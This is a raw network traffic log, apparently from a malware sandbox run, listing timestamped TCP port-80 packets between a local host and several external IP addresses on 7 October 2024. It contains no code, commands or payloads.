Oct 7, 2024 12:34:49.210747004 CEST	50013	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:49.217426062 CEST	80	50013	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:54.242186069 CEST	50014	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:54.247157097 CEST	80	50014	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:54.248400927 CEST	50014	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:54.257118940 CEST	50014	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:54.262069941 CEST	80	50014	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:54.737018108 CEST	80	50014	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:54.742279053 CEST	50014	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:55.776695013 CEST	50014	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:55.781739950 CEST	80	50014	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:56.793366909 CEST	50015	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:56.798825026 CEST	80	50015	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:56.799273014 CEST	50015	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:56.810563087 CEST	50015	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:56.815521955 CEST	80	50015	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:57.262166977 CEST	80	50015	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:57.262280941 CEST	50015	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:58.320410013 CEST	50015	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:58.325429916 CEST	80	50015	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:59.343449116 CEST	50016	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:59.350725889 CEST	80	50016	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:59.350810051 CEST	50016	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:59.360426903 CEST	50016	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:59.367254019 CEST	80	50016	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:59.369528055 CEST	80	50016	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:59.817785025 CEST	80	50016	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:59.817848921 CEST	50016	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:00.867358923 CEST	50016	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:00.872603893 CEST	80	50016	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:02.046293020 CEST	50017	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:02.051523924 CEST	80	50017	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:02.051723957 CEST	50017	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:02.059458017 CEST	50017	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:02.064378977 CEST	80	50017	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:02.512428999 CEST	80	50017	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:02.512451887 CEST	80	50017	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:02.512578964 CEST	50017	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:02.517772913 CEST	50017	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:02.522640944 CEST	80	50017	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:07.544343948 CEST	50019	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:07.549424887 CEST	80	50019	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:07.549504042 CEST	50019	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:07.561130047 CEST	50019	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:07.566174030 CEST	80	50019	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:08.023444891 CEST	80	50019	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:08.027836084 CEST	50019	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:09.070447922 CEST	50019	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:09.075642109 CEST	80	50019	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:10.090445042 CEST	50020	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:10.096276999 CEST	80	50020	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:10.102284908 CEST	50020	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:10.107423067 CEST	50020	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:10.113184929 CEST	80	50020	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:11.501279116 CEST	80	50020	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:11.501332045 CEST	50020	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:11.617278099 CEST	50020	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:11.622220039 CEST	80	50020	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:12.638292074 CEST	50021	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:12.643783092 CEST	80	50021	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:12.650293112 CEST	50021	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:12.658299923 CEST	50021	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:12.663152933 CEST	80	50021	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:12.663176060 CEST	80	50021	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:14.164268017 CEST	50021	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:14.170202971 CEST	80	50021	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:14.170352936 CEST	50021	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:15.187434912 CEST	50022	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:15.192883015 CEST	80	50022	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:15.192965031 CEST	50022	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:15.202512026 CEST	50022	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:15.207607031 CEST	80	50022	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:15.652370930 CEST	80	50022	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:15.652436018 CEST	80	50022	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:15.652529001 CEST	50022	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:15.655278921 CEST	50022	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:15.660224915 CEST	80	50022	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:21.338433981 CEST	50023	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:21.343580008 CEST	80	50023	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:21.343656063 CEST	50023	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:21.363176107 CEST	50023	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:21.368473053 CEST	80	50023	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:21.938657999 CEST	80	50023	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:21.938705921 CEST	80	50023	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:21.946304083 CEST	50023	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:22.868469954 CEST	50023	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:23.887629032 CEST	50024	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:23.892700911 CEST	80	50024	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:23.892787933 CEST	50024	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:23.903409004 CEST	50024	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:23.908305883 CEST	80	50024	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:24.476787090 CEST	80	50024	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:24.476831913 CEST	80	50024	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:24.477025032 CEST	50024	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:25.414206982 CEST	50024	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:26.435417891 CEST	50025	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:26.625667095 CEST	80	50025	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:26.631408930 CEST	50025	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:26.643429041 CEST	50025	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:26.648389101 CEST	80	50025	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:26.648411989 CEST	80	50025	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:27.215451956 CEST	80	50025	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:27.215611935 CEST	80	50025	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:27.215647936 CEST	50025	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:28.151408911 CEST	50025	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:29.167373896 CEST	50026	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:29.172418118 CEST	80	50026	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:29.172482014 CEST	50026	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:29.182535887 CEST	50026	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:29.187414885 CEST	80	50026	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:29.758048058 CEST	80	50026	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:29.758223057 CEST	80	50026	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:29.758274078 CEST	50026	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:29.760392904 CEST	50026	80	192.168.2.6	209.74.64.190
Oct 7, 2024 12:35:29.765230894 CEST	80	50026	209.74.64.190	192.168.2.6
Oct 7, 2024 12:35:34.889309883 CEST	50027	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:34.894239902 CEST	80	50027	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:34.895621061 CEST	50027	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:34.905025005 CEST	50027	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:34.910007954 CEST	80	50027	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:35.797230005 CEST	80	50027	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:35.797509909 CEST	80	50027	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:35.797681093 CEST	50027	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:36.414436102 CEST	50027	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:37.436727047 CEST	50028	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:37.441685915 CEST	80	50028	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:37.441746950 CEST	50028	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:37.460064888 CEST	50028	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:37.465178013 CEST	80	50028	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:38.347407103 CEST	80	50028	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:38.347645998 CEST	80	50028	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:38.348515034 CEST	50028	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:38.976836920 CEST	50028	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:39.998354912 CEST	50029	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:40.003429890 CEST	80	50029	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:40.011435032 CEST	50029	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:40.018347979 CEST	50029	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:40.023374081 CEST	80	50029	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:40.023402929 CEST	80	50029	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:40.914504051 CEST	80	50029	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:40.914793968 CEST	80	50029	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:40.922358990 CEST	50029	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:41.523691893 CEST	50029	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:42.542331934 CEST	50030	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:42.547743082 CEST	80	50030	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:42.550415993 CEST	50030	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:42.555382013 CEST	50030	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:42.560269117 CEST	80	50030	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:43.466133118 CEST	80	50030	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:43.466188908 CEST	80	50030	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:43.466280937 CEST	50030	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:43.471134901 CEST	50030	80	192.168.2.6	68.178.233.113
Oct 7, 2024 12:35:43.476346970 CEST	80	50030	68.178.233.113	192.168.2.6
Oct 7, 2024 12:35:48.502873898 CEST	50031	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:48.507858992 CEST	80	50031	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:48.515420914 CEST	50031	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:48.519418001 CEST	50031	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:48.524492025 CEST	80	50031	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:48.971592903 CEST	80	50031	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:48.971880913 CEST	50031	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:50.027416945 CEST	50031	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:50.032608986 CEST	80	50031	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:51.042325020 CEST	50032	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:51.047461033 CEST	80	50032	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:51.047532082 CEST	50032	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:51.058733940 CEST	50032	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:51.064189911 CEST	80	50032	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:52.445539951 CEST	80	50032	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:52.446393967 CEST	50032	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:52.570719957 CEST	50032	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:52.575736046 CEST	80	50032	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:53.589526892 CEST	50033	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:53.594691992 CEST	80	50033	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:53.594759941 CEST	50033	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:53.605835915 CEST	50033	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:53.610817909 CEST	80	50033	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:53.610876083 CEST	80	50033	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:54.067289114 CEST	80	50033	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:54.075073004 CEST	50033	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:55.117361069 CEST	50033	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:55.122499943 CEST	80	50033	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:56.138339043 CEST	50034	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:56.143353939 CEST	80	50034	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:56.150346041 CEST	50034	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:56.154337883 CEST	50034	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:56.159126043 CEST	80	50034	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:56.622138023 CEST	80	50034	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:56.622174025 CEST	80	50034	3.33.130.190	192.168.2.6
Oct 7, 2024 12:35:56.623410940 CEST	50034	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:56.627405882 CEST	50034	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:35:56.632412910 CEST	80	50034	3.33.130.190	192.168.2.6
Oct 7, 2024 12:36:10.148613930 CEST	50035	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:10.153615952 CEST	80	50035	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:10.154438972 CEST	50035	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:10.166371107 CEST	50035	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:10.171314955 CEST	80	50035	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:11.020119905 CEST	80	50035	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:11.020185947 CEST	80	50035	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:11.020257950 CEST	50035	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:11.665677071 CEST	50035	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:12.685343027 CEST	50036	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:12.690623045 CEST	80	50036	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:12.694526911 CEST	50036	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:12.705909967 CEST	50036	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:12.710895061 CEST	80	50036	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:13.566414118 CEST	80	50036	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:13.566473007 CEST	80	50036	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:13.566533089 CEST	50036	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:14.211416006 CEST	50036	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:15.229760885 CEST	50037	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:15.234841108 CEST	80	50037	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:15.234922886 CEST	50037	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:15.245714903 CEST	50037	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:15.251202106 CEST	80	50037	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:15.252371073 CEST	80	50037	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:16.072273970 CEST	80	50037	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:16.072367907 CEST	80	50037	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:16.078392029 CEST	50037	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:16.758392096 CEST	50037	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:17.776170969 CEST	50038	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:17.781363964 CEST	80	50038	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:17.781456947 CEST	50038	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:17.787180901 CEST	50038	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:17.792984009 CEST	80	50038	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:18.630810022 CEST	80	50038	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:18.630853891 CEST	80	50038	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:18.635812044 CEST	50038	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:18.638369083 CEST	50038	80	192.168.2.6	38.55.251.233
Oct 7, 2024 12:36:18.643296957 CEST	80	50038	38.55.251.233	192.168.2.6
Oct 7, 2024 12:36:23.675977945 CEST	50040	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:23.680988073 CEST	80	50040	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:23.681056023 CEST	50040	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:23.694304943 CEST	50040	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:23.699484110 CEST	80	50040	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:24.285926104 CEST	80	50040	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:24.285974979 CEST	80	50040	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:24.286021948 CEST	80	50040	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:24.286058903 CEST	80	50040	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:24.286082983 CEST	50040	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:24.286091089 CEST	80	50040	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:24.286132097 CEST	80	50040	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:24.286194086 CEST	50040	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:24.290366888 CEST	50040	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:25.195478916 CEST	50040	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:26.214503050 CEST	50041	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:26.219640017 CEST	80	50041	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:26.222733021 CEST	50041	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:26.234390974 CEST	50041	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:26.239511013 CEST	80	50041	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:26.837969065 CEST	80	50041	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:26.838063002 CEST	80	50041	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:26.838089943 CEST	80	50041	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:26.838109016 CEST	80	50041	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:26.838124037 CEST	80	50041	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:26.838141918 CEST	80	50041	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:26.838386059 CEST	50041	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:26.838386059 CEST	50041	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:27.742640972 CEST	50041	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:28.761538982 CEST	50042	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:28.766767979 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:28.773402929 CEST	50042	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:28.782408953 CEST	50042	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:28.787513971 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:28.787544966 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:29.376069069 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:29.376112938 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:29.376151085 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:29.376188993 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:29.376188040 CEST	50042	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:29.376224995 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:29.376256943 CEST	50042	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:29.376260996 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:29.376293898 CEST	80	50042	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:29.376312017 CEST	50042	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:29.376358986 CEST	50042	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:30.289377928 CEST	50042	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.307959080 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.360162020 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.360235929 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.367244005 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.372136116 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961532116 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961568117 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961584091 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961601973 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961621046 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961637020 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.961637020 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.961724043 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961795092 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961818933 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.961944103 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961960077 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.961977005 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:31.962011099 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.962028980 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.966314077 CEST	50043	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:36:31.973546982 CEST	80	50043	162.0.215.33	192.168.2.6
Oct 7, 2024 12:36:37.018769026 CEST	50044	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:37.023794889 CEST	80	50044	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:37.023870945 CEST	50044	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:37.032697916 CEST	50044	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:37.037635088 CEST	80	50044	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:37.921485901 CEST	80	50044	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:37.921535015 CEST	80	50044	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:37.921581984 CEST	50044	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:38.542404890 CEST	50044	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:39.558005095 CEST	50045	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:39.563879013 CEST	80	50045	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:39.563962936 CEST	50045	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:39.576016903 CEST	50045	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:39.581079960 CEST	80	50045	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:40.465425968 CEST	80	50045	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:40.465482950 CEST	80	50045	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:40.470406055 CEST	50045	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:41.086178064 CEST	50045	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:42.106415033 CEST	50046	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:42.111686945 CEST	80	50046	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:42.117398977 CEST	50046	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:42.126420975 CEST	50046	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:42.131534100 CEST	80	50046	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:42.131601095 CEST	80	50046	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:43.034208059 CEST	80	50046	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:43.034857035 CEST	80	50046	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:43.038469076 CEST	50046	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:43.633052111 CEST	50046	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:44.651459932 CEST	50047	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:44.656769037 CEST	80	50047	8.217.17.192	192.168.2.6
Oct 7, 2024 12:36:44.658483982 CEST	50047	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:44.664339066 CEST	50047	80	192.168.2.6	8.217.17.192
Oct 7, 2024 12:36:44.669388056 CEST	80	50047	8.217.17.192	192.168.2.6
Oct 7, 2024 12:37:06.037329912 CEST	80	50047	8.217.17.192	192.168.2.6
Oct 7, 2024 12:37:06.037448883 CEST	50047	80	192.168.2.6	8.217.17.192
